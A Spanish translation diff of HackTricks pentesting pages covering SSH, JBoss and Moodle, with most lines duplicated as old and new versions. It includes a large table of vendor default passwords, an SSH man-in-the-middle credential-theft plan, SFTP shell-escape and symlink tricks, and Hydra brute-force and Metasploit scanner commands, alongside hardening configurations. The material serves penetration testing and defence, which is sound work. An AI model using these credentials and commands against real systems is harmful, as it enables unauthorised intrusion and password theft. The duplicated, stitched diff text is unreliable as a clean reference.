**crackmapexec** utilizando el protocolo `ssh` puede utilizar la opción `--kerberos` para **autenticarse a través de Kerberos**.\
Para obtener más información, ejecuta `crackmapexec ssh --help`.
## Credenciales predeterminadas
| **Proveedor** | **Nombres de usuario** | **Contraseñas** |
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| **Proveedor** | **Nombres de usuario** | **Contraseñas** |
| ------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
Si estás en la red local como la víctima que va a conectarse al servidor SSH usando nombre de usuario y contraseña, podrías intentar **realizar un ataque MitM para robar esas credenciales:**
Si estás en la red local como la víctima que va a conectarse al servidor SSH utilizando un nombre de usuario y una contraseña, podrías intentar **realizar un ataque MitM para robar esas credenciales**:
**Ruta de ataque:**
**Ruta del ataque:**
* el tráfico del usuario se redirige a la máquina atacante
* el atacante monitorea los intentos de conexión al servidor SSH y los redirige a su servidor SSH
* el servidor SSH del atacante está configurado, en primer lugar, para registrar todos los datos ingresados, incluida la contraseña del usuario, y, en segundo lugar, enviar comandos al servidor SSH legítimo al que el usuario quiere conectarse, para ejecutarlos, y luego devolver los resultados al usuario legítimo
* el servidor SSH del atacante está configurado, en primer lugar, para registrar todos los datos ingresados, incluida la contraseña del usuario, y, en segundo lugar, para enviar comandos al servidor SSH legítimo al que el usuario desea conectarse, para ejecutarlos y luego devolver los resultados al usuario legítimo
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* hace exactamente lo que se describe arriba.
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* hace exactamente lo que se describe anteriormente.
Para capturar realizar el MitM real, podrías usar técnicas como ARP spoofing, DNS spoofin u otras descritas en los [**ataques de suplantación de red**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
Para capturar y realizar el MitM real, podrías utilizar técnicas como el ARP spoofing, el DNS spoofing u otras descritas en los [**ataques de suplantación de red**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
## Configuraciones incorrectas de configuración
## Configuraciones incorrectas de la configuración
### Inicio de sesión de root
Por defecto, la mayoría de las implementaciones de servidor SSH permitirán el inicio de sesión de root, se recomienda desactivarlo porque si las credenciales de esta cuenta se filtran, los atacantes obtendrán privilegios administrativos directamente y esto también permitirá a los atacantes realizar ataques de fuerza bruta en esta cuenta.
Por defecto, la mayoría de las implementaciones de servidores SSH permitirán el inicio de sesión de root, se recomienda desactivarlo porque si las credenciales de esta cuenta se filtran, los atacantes obtendrán privilegios administrativos directamente y esto también permitirá a los atacantes realizar ataques de fuerza bruta en esta cuenta.
**Cómo desactivar el inicio de sesión de root para openSSH:**
1. Edita la configuración del servidor SSH `sudoedit /etc/ssh/sshd_config`
2. Cambia `#PermitRootLogin yes` a `PermitRootLogin no`
3. Ten en cuenta los cambios de configuración: `sudo systemctl daemon-reload`
4. Reinicia el servidor SSH `sudo systemctl restart sshd`
1. Editar la configuración del servidor SSH `sudoedit /etc/ssh/sshd_config`
2. Cambiar `#PermitRootLogin yes` por `PermitRootLogin no`
3. Tener en cuenta los cambios de configuración: `sudo systemctl daemon-reload`
4. Reiniciar el servidor SSH `sudo systemctl restart sshd`
### Ejecución de comandos SFTP
Otra configuración incorrecta común de SSH se ve a menudo en la configuración de SFTP. La mayoría de las veces, al crear un servidor SFTP, el administrador quiere que los usuarios tengan acceso SFTP para compartir archivos pero no para obtener una shell remota en la máquina. Entonces, piensan que crear un usuario, atribuirle una shell de marcador de posición (como `/usr/bin/nologin` o `/usr/bin/false`) y encarcelarlo en una cárcel es suficiente para evitar el acceso a la shell o el abuso en todo el sistema de archivos. Pero están equivocados, **un usuario puede solicitar ejecutar un comando justo después de la autenticación antes de que se ejecute su comando o shell predeterminado**. Entonces, para evitar la shell de marcador de posición que denegará el acceso a la shell, solo hay que pedir que se ejecute un comando (por ejemplo, `/bin/bash`) antes, simplemente haciendo:
Otra configuración incorrecta común de SSH se ve a menudo en la configuración de SFTP. La mayoría de las veces, al crear un servidor SFTP, el administrador desea que los usuarios tengan acceso SFTP para compartir archivos pero no para obtener una shell remota en la máquina. Entonces piensan que al crear un usuario, asignarle una shell de marcador de posición (como `/usr/bin/nologin` o `/usr/bin/false`) y encarcelarlo en una cárcel es suficiente para evitar el acceso a la shell o el abuso en todo el sistema de archivos. Pero están equivocados, **un usuario puede solicitar ejecutar un comando justo después de la autenticación antes de que se ejecute su comando o shell predeterminado**. Por lo tanto, para evitar la shell de marcador de posición que denegará el acceso a la shell, solo se debe solicitar ejecutar un comando (por ejemplo, `/bin/bash`) antes, simplemente haciendo:
```
$ ssh -v noraj@192.168.1.94 id
...
@ -216,27 +218,43 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
Aquí hay un ejemplo de configuración segura de SFTP (`/etc/ssh/sshd_config` - openSSH) para el usuario `noraj`:
Aquí tienes un ejemplo de configuración segura de SFTP (`/etc/ssh/sshd_config` - openSSH) para el usuario `noraj`:
```plaintext
# Permitir solo SFTP y deshabilitar el acceso SSH
Subsystem sftp internal-sftp
Match User noraj
ForceCommand internal-sftp
PasswordAuthentication yes
ChrootDirectory /home/noraj
PermitTunnel no
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
```
Esta configuración asegura que el usuario `noraj` solo pueda acceder a través de SFTP y no tenga acceso SSH. Además, se habilita la autenticación por contraseña, se establece el directorio raíz en `/home/noraj` y se deshabilitan las opciones de túnel, reenvío de agente, reenvío TCP y reenvío X11.
```
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
```
Esta configuración permitirá solo SFTP: deshabilitando el acceso a la shell forzando el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o túneles.
Esta configuración permitirá solo SFTP: deshabilitando el acceso al shell forzando el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o túneles.
### Túneles SFTP
Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de él, por ejemplo, utilizando el reenvío de puertos común:
Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de este, por ejemplo, utilizando el reenvío de puertos común:
```
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
El comando "**symlink**" está disponible en **sftp**. Por lo tanto, si tienes **permisos de escritura** en alguna carpeta, puedes crear **enlaces simbólicos** de **otras carpetas/archivos**. Probablemente estés **atrapado** dentro de un chroot, por lo que esto no será especialmente útil para ti, pero si puedes **acceder** al **enlace simbólico** creado desde un **servicio sin chroot** (por ejemplo, si puedes acceder al enlace simbólico desde la web), podrías **abrir los archivos enlazados a través de la web**.
El **sftp** tiene el comando "**symlink**". Por lo tanto, si tienes **permisos de escritura** en alguna carpeta, puedes crear **enlaces simbólicos** de **otras carpetas/archivos**. Como probablemente estés **atrapado** dentro de un chroot, esto **no será especialmente útil** para ti, pero si puedes **acceder** al **enlace simbólico** creado desde un **servicio sin chroot** (por ejemplo, si puedes acceder al enlace simbólico desde la web), podrías **abrir los archivos enlazados a través de la web**.
Por ejemplo, para crear un **enlace simbólico** desde un nuevo archivo **"**_**froot**_**" a "**_**/**_**"**:
```
@ -246,20 +264,20 @@ Si puedes acceder al archivo "_froot_" a través de la web, podrás listar la ca
### Métodos de autenticación
En entornos de alta seguridad, es común habilitar solo la autenticación basada en clave o de dos factores en lugar de la autenticación simple basada en contraseña. Pero a menudo, los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar `password`. Por lo tanto, al usar el modo detallado del cliente SSH, un atacante puede ver que se ha habilitado un método más débil:
En entornos de alta seguridad, es común habilitar solo la autenticación basada en clave o de dos factores en lugar de la autenticación simple basada en contraseña. Sin embargo, a menudo se habilitan los métodos de autenticación más fuertes sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar `password`. Por lo tanto, utilizando el modo detallado del cliente SSH, un atacante puede ver que se ha habilitado un método más débil:
```
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Por ejemplo, si se establece un límite de fallos de autenticación y nunca se tiene la oportunidad de llegar al método de contraseña, se puede utilizar la opción `PreferredAuthentications` para forzar el uso de este método.
Por ejemplo, si se establece un límite de fallos de autenticación y nunca tienes la oportunidad de llegar al método de contraseña, puedes usar la opción `PreferredAuthentications` para forzar el uso de este método.
```
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Revisar la configuración del servidor SSH es necesario para comprobar que solo se autorizan los métodos esperados. Usar el modo verbose en el cliente puede ayudar a ver la efectividad de la configuración.
Revisar la configuración del servidor SSH es necesario para verificar que solo se autorizan los métodos esperados. Usar el modo verbose en el cliente puede ayudar a ver la efectividad de la configuración.
### Archivos de configuración
```
@ -280,7 +298,7 @@ id_rsa
* Puedes encontrar guías interesantes sobre cómo endurecer SSH en [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
@ -293,25 +311,25 @@ Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 -u {IP} ssh
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 -u {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -6,15 +6,15 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -22,12 +22,12 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible -
Las páginas web _/web-console/ServerInfo.jsp_ y _/status?full=true_ a menudo revelan **detalles del servidor**.
Puede exponer **servlets de gestión** a través de las siguientes rutas dentro de JBoss (dependiendo de la versión): _/admin-console_, _/jmx-console_, _/management_ y _/web-console_. Las credenciales predeterminadas son **admin**/**admin**. Al obtener acceso, puede utilizar los servlets de invocador disponibles para interactuar con los MBeans expuestos:
Puedes exponer **servlets de gestión** a través de las siguientes rutas dentro de JBoss (dependiendo de la versión): _/admin-console_, _/jmx-console_, _/management_ y _/web-console_. Las credenciales predeterminadas son **admin**/**admin**. Una vez que hayas obtenido acceso, puedes usar los servlets invoker disponibles para interactuar con los MBeans expuestos:
* /web-console/Invoker (versiones de JBoss 6 y 7)
* /invoker/JMXInvokerServlet y /invoker/EJBInvokerServlet (JBoss 5 y anteriores)
**Puede enumerar e incluso explotar un servicio JBOSS usando** [**clusterd**](https://github.com/hatRiot/clusterd)\
**Puedes enumerar e incluso explotar un servicio JBOSS usando** [**clusterd**](https://github.com/hatRiot/clusterd)\
**O usando metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
### Explotación
@ -38,9 +38,9 @@ Puede exponer **servlets de gestión** a través de las siguientes rutas dentro
```
inurl:status EJInvokerServlet
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto hablado como escrito_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -51,7 +51,7 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -5,51 +5,53 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## Escaneos automáticos
## Escaneos Automáticos
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
El comando `moodlescan` es una herramienta de escaneo de seguridad diseñada específicamente para Moodle, una plataforma de aprendizaje en línea. Esta herramienta se utiliza para identificar posibles vulnerabilidades en una instalación de Moodle y proporciona información detallada sobre los riesgos de seguridad.
moodlescan es una herramienta de escaneo de vulnerabilidades específica para Moodle, una plataforma de aprendizaje en línea. Esta herramienta puede ayudar a identificar vulnerabilidades comunes en una instalación de Moodle, como la exposición de información confidencial, la ejecución de código remoto y la inyección de SQL.
El comando `moodlescan` se ejecuta desde la línea de comandos y acepta varios parámetros para personalizar el escaneo. Algunas de las características clave de `moodlescan` incluyen:
Para utilizar moodlescan, primero debemos proporcionar la URL de la instalación de Moodle que deseamos escanear. Luego, la herramienta realizará una serie de pruebas automatizadas para identificar posibles vulnerabilidades. Es importante tener en cuenta que moodlescan no es una herramienta de explotación, sino que se utiliza para identificar posibles vulnerabilidades que luego pueden ser explotadas por un atacante.
- Escaneo de versiones de Moodle: `moodlescan` puede identificar la versión exacta de Moodle que se está ejecutando en un sitio web. Esto es útil para determinar si una instalación de Moodle está actualizada y si se han corregido las vulnerabilidades conocidas en versiones anteriores.
Algunas de las pruebas que realiza moodlescan incluyen la identificación de archivos de configuración expuestos, la verificación de la versión de Moodle instalada y la búsqueda de vulnerabilidades conocidas en esa versión. También puede realizar pruebas de inyección de SQL y XSS en formularios y parámetros de URL.
- Escaneo de plugins: `moodlescan` puede analizar los plugins instalados en un sitio de Moodle y verificar si hay vulnerabilidades conocidas en ellos. Esto es importante, ya que los plugins pueden introducir nuevas vulnerabilidades en una instalación de Moodle.
Es importante tener en cuenta que moodlescan no es una herramienta completa de evaluación de vulnerabilidades y no debe ser la única herramienta utilizada para evaluar la seguridad de una instalación de Moodle. Sin embargo, puede ser una herramienta útil para identificar posibles vulnerabilidades y ayudar a los administradores de Moodle a tomar medidas para proteger su plataforma.
- Escaneo de configuración: `moodlescan` también puede analizar la configuración de Moodle en busca de posibles problemas de seguridad. Esto incluye la verificación de la configuración de autenticación, la configuración de permisos y otras configuraciones relacionadas con la seguridad.
Es importante destacar que `moodlescan` es una herramienta de escaneo de seguridad y no debe utilizarse para fines maliciosos. Su objetivo principal es ayudar a los administradores de Moodle a identificar y corregir posibles vulnerabilidades en sus instalaciones.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
@ -58,7 +60,7 @@ Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
@ -81,38 +83,44 @@ Scan completed.
```
### CMSMap
CMSMap es una herramienta de código abierto que se utiliza para escanear sitios web y encontrar la versión del CMS que se está utilizando. También puede encontrar vulnerabilidades conocidas en el CMS y enumerar los usuarios y sus roles. CMSMap es compatible con varios CMS, incluyendo Moodle.
CMSMap es una herramienta de código abierto que se utiliza para escanear y enumerar los sistemas de gestión de contenido (CMS) en un sitio web. Esta herramienta es útil durante las pruebas de penetración para identificar el CMS utilizado por un sitio web y obtener información sobre las vulnerabilidades conocidas asociadas con ese CMS en particular.
Para escanear un sitio web con CMSMap, simplemente ejecute el siguiente comando:
